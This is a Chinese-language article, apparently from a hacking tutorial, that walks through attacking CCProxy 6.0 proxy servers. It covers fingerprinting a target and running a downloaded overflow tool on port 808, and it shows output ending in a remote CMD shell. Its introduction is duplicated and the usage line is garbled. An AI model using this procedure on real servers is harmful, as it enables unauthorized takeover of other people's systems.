*** 服务器为大家解决了很多问题，比如阻挡黑客攻击和局域网共享上网等。

本文我们要讨论一个出在 *** 服务器上的漏洞，希望各位网管能够给予一定的关注。

为了揭示这个隐藏的阴谋，让我们清楚知道自己的 *** 服务器是否存在这一漏洞，下面将模拟黑客对这个漏洞的攻击行为，以便大家采取相应的安全措施。

　　一、 *** 软件漏洞 　　CCProxy因其设置简单和使用方便等特点，成为国内更受欢迎的 *** 服务器软件。

它不但支持常见的HTTP和SOCKS *** ，而且还支持FTP和Telnet这类不常用的 *** 。

它还可以控制用户 *** 上网的权限，设置访问 *** 服务器的用户名和密码，功能非常强大。

　　这款优秀的 *** 软件最近爆出一个溢出漏洞，攻击者可以通过该漏洞直接获得 *** 服务器的控制权。

该漏洞涉及的CCProxy版本为目前非常普及的6.0版，以及这之前的所有版本。

　　软件资料 　　软件名称：CCProxy 　　软件版本：6.0 　　授权方式：共享软件 　　软件大小：820KB 　　下载地址： 　　二、探测CCProxy *** 服务器 　　要利用上述漏洞控制 *** 服务器，当然得先确定目标 *** 服务器是否安装的是CCProxy (图1)。

　　

图1 CCProxy支持多种协议 *** 　　 *** 服务器为大家解决了很多问题，比如阻挡黑客攻击和局域网共享上网等。

本文我们要讨论一个出在 *** 服务器上的漏洞，希望各位网管能够给予一定的关注。

为了揭示这个隐藏的阴谋，让我们清楚知道自己的 *** 服务器是否存在这一漏洞，下面将模拟黑客对这个漏洞的攻击行为，以便大家采取相应的安全措施。

　　一、 *** 软件漏洞 　　CCProxy因其设置简单和使用方便等特点，成为国内更受欢迎的 *** 服务器软件。

它不但支持常见的HTTP和SOCKS *** ，而且还支持FTP和Telnet这类不常用的 *** 。

它还可以控制用户 *** 上网的权限，设置访问 *** 服务器的用户名和密码，功能非常强大。

　　这款优秀的 *** 软件最近爆出一个溢出漏洞，攻击者可以通过该漏洞直接获得 *** 服务器的控制权。

该漏洞涉及的CCProxy版本为目前非常普及的6.0版，以及这之前的所有版本。

　　软件资料 　　软件名称：CCProxy 　　软件版本：6.0 　　授权方式：共享软件 　　软件大小：820KB 　　下载地址： http://www.jb51.net/softs/2199.html　　二、探测CCProxy *** 服务器 　　要利用上述漏洞控制 *** 服务器，当然得先确定目标 *** 服务器是否安装的是CCProxy (图1)。

　　

　　图1 CCProxy支持多种协议 *** 　　三、攻击CCProxy *** 服务器 　　利用上述 *** 确认目标为安装了CCProxy的 *** 服务器，那么下面就开始利用CCProxy的溢出攻击工具进行溢出。

从网上下载回来的CCProxy的溢出攻击工具叫ccpx.exe。

在CMD命令行中打开它，可以看到帮助命令： 　　Usage: ccproxyexp.exe [target_port] 　　这其中target_ip是指目标主机的IP地址，target_port是CCProxy的主端口，默认情况下是808。

　　根据参数输入攻击命令后提示： 　　本主机IP是否与目标主机IP在同一个网段？

[y/n]y 　　[ ] connecting to 127.0.0.1:808 　　[ ] send magic buffer... 　　[ ] connecting to CMD shell port... 　　Microsoft Windows 2000 [Version 5.00.2195] 　　(C) 版权所有 1985-2000 Microsoft Corp. 　　C:\winnt\system32 　　现在溢出成功，获得此 *** 服务器的控制权（图4）。

　　

　　图4 溢出成功拿到服务器控制权